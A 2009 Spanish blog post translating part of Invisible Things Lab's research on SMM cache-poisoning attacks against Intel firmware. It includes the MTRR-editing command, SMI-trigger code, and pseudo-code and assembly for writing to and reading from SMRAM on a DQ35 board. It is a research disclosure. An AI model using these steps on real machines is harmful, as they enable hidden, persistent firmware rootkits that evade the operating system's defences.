domingo, 22 de marzo de 2009

Rootkits de firmware

Interesante artículo de Invisible Things Labs donde muestran cómo hackear la memoria SMM, la zona de memoria más privilegiada del firmware de algunas placas base modernas de Intel.

A continuación, una traducción que he realizado de la parte más relevante:


3. Detalles del ataque

Ahora describiremos como realizar el envenenamiento de caché para lograr acceso a la SMRAM. Asumimos que el atacante tiene acceso a cierta plataforma con registros MSR. En la práctica esto es equivalente a que el atacante tenga privilegios de administrador en el sistema objetivo, y en otros sistemas, como Windows, la habilidad de cargar y ejecutar código arbitrario en el kernel.

- 1. El atacante primero tiene que modificar los registros MTRR del sistema para marcar la región de la memoria del sistema donde la SMRAM está en modo cacheable de tipo Write-Back (WB).

- 2. Ahora, el atacante realiza accesos de escritura a las direcciones físicas correspondientes a las ubicaciones donde se encuentra la SMRAM. Estos accesos serán cacheados debido a que hemos marcado este rango de direcciones físicas como cacheable WB. Habitualmente, las direcciones físicas que corresponden con la ubicación de la SMRAM pueden ser no cacheables y cualquier acceso de escritura a estas direcciones puede ser abortado por el controlador de memoria (chipset).

- 3. Por último, el atacante necesita lanzar un SMI que transferirá la ejecución al código SMM. La CPU comenzará a ejecutar el código SMM, pero primero seguirá las instrucciones de la caché antes de leerlas de la DRAM. Debido a que el atacante en el punto 2 realizó accesos de escritura en las ubicaciones de la SMRAM, la CPU procesará los datos de la caché proporcionados por el atacante y los ejecutará como un manipulador SMI, con todos los privilegios de la SMM.

El escenario anterior permite una sobreescritura arbitraria en la memoria SMM (y una posterior ejecución de código de estos datos arbitrarios escritos en la SMM. Se puede pensar en un ataque similar que pueda permitir la lectura de la memoria SMM. Esto es especialmente útil para poner en práctica una explotación, donde el atacante primero debería obtener los offsets específicos del firmware para generar un código fiable que ejecute el exploit (lo veremos en el siguiente capítulo). En el caso actual, la secuencia de eventos sería:

- 1. De nuevo, el atacante primero marca a la SMRAM en modo cacheable WB manipulando los registros MTRR del sistema.

- 2. Ahora el atacante necesita lanzar un SMI que produzca la ejecución del manipulador original. Esto también tendrá un efecto colateral en la mayoría de las instrucciones que se cacheen.

- 3. Por último, el atacante debería leer la caché, preferiblemente utilizando una instrucción no invasiva como movnti, que no contamine la caché con datos nuevos.


4. La explotación puesta en práctica

En sistemas Linux, el usuario root puede modificar los MTRRs mediante el pseudo-archivo /proc/mtrr. Si asumimos que tu sistema tiene una placa base DQ35 de Intel con 2GB de RAM es posible que el "mapa de caché" de tu memoria sea parecido a esto:

[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 ( 0MB), size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=2MB: uncachable, count=1


Aquí vemos que la primera entrada (reg00) está marcando a toda la memoria como cacheable Write-Back. Después vemos unas cuantas regiones de memoria "excepcionales" marcadas como no cacheables. Una de estas regiones (reg03) corresponde con la memoria donde está ubicado el segmento TSEG de la SMM.

Tan simple como eliminar esta entrada MTRR del TSEG con el siguiente comando:

echo "disable=3" > /proc/mtrr

En otros sistemas puede que no tengamos la entrada cacheable WB por defecto (como hemos visto antes) y entonces tendríamos que modificar manualmente la entrada MTRR del TSEG para indicar el tipo de cacheo como Write-Back (crucial para el ataque).

En sistemas Windows podemos modificar los MTRRs utilizando las instrucciones WRMSR estándar.

Una vez marcada la memoria TSEG como cacheable WB, tan simple como hacer esto:

*(ptr) = datos_perversos;
outb 0x00, 0xb2 // lanza el SMI


Donde ptr, por ejemplo, puede ser un puntero a una dirección virtual mapeada a la dirección física dentro del segmento TSEG. Una forma sencilla de conseguir esto es utilizar el dispositivo /dev/mem en Linux o el objeto \Device\PhysicalMemory de Windows.

¡Y ya está!

Ahora, cuando se genera el SMI (en sistemas Intel puede realizarse fácilmente con sólo una instrucción como vimos antes), y si se ejecutan las instrucciones de las direcciones físicas que hemos puesto en "datos_perversos", la CPU procesará estos datos perversos de la caché y los ejecutará en vez de ejecutar las instrucciones originales SMM de la DRAM. Es necesario decir que podemos estar seguros que la CPU siempre ejecutará nuestras instrucciones sobreescribiendo el punto de entrada del manipulador SMI.

En los sistemas DQ35 en particular, uno puede ver que el manipulador SMI ejecuta el siguiente código (localizado en TSEG) poco después del punto de entrada de SMM:

mov $0x7e5fcfe0,%rsp
mov 0x8(%rsp),%rax
mov (%rsp),%ecx
callq *(%rax)

Después, la ejecución de código en el SMM puede conseguirse con el siguiente pseudo-código (asumiendo que tenemos también ubicado un buffer cuya dirección física está en la variable myaddr):

fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI#

El exploit tiene varias constantes hard-coded que necesitan ajustarse para sistemas distintos al DQ35 con 2GB de RAM. Además, para simplificar utilizamos un módulo kernel dedicado para ubicar el buffer del shellcode y así calcular su dirección física. El shellcode del exploit no hace nada espectacular, sólo incrementa un contador que se puede ver mediante /proc/mymem, que es un pseudo-archivo creado por el módulo, y por tanto, este exploit es inofensivo (también tiene la prudencia de ejecutar el código SMM original).

Como vemos, la explotación se puede conseguir incluso desde el modo usuario (escalando desde el anillo 3 hasta el SMM), asumiendo que el sistema operativo permita operaciones de E/S y manipulación del MTRR desde el modo usuario. La mayoría de los sistemas Linux permiten al usuario root realizar lo mencionado mientras que en Windows no. Esto también quiere decir que el ataque anterior pueder ser utilizado de una forma potencial utilizando escalada de privilegios desde el entorno usuario hasta el kernel en sistemas que tienen especial cuidado en proteger el kernel, por ej., deshabilitando el soporte LKM y bloqueando escrituras en dispositivos /dev/(k)mem. No hemos intentado nuestro ataque en sistemas de este tipo.

Para realizar el ataque mencionado es necesario conocer los "offsets" específicos del SMM que utiliza el manipulador SMI.

Hay más de una forma de resolver este problema. Una forma elegante es utilizar el mismo ataque de cacheo para leer, en vez de escribir, la memoria SMM.

El siguiente pseudo-código es un exploit que puede utilizarse para leer código SMM:

fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
"push %rdi\n"
"mov $0x40000, %ecx\n"
"mov $outbuf, %rdi\n"
"mov ptr, %rsi\n"
"lp:\n"
"mov (%rsi), %eax\n"
"movnti %eax, (%rdi)\n"
"add $4, %rdi\n"
"add $4, %rsi\n"
"loop lp\n"
"pop %rdi\n"
"pop %rsi\n"
"mfence");
write(1, outbuf, SIZE); // stdout

El truco es la instrucción movnti que puede utilizarse para leer datos desde la caché (datos dejados por el manipulador SMI en el modo de cacheo WB) sin contaminar la caché con datos nuevos. De esta forma no elimina datos interesantes de la caché antes de que puedan ser leidos. Con este método sólo podemos leer aquellas direcciones que haya ejecutado el manipulador SMI.

No hay comentarios: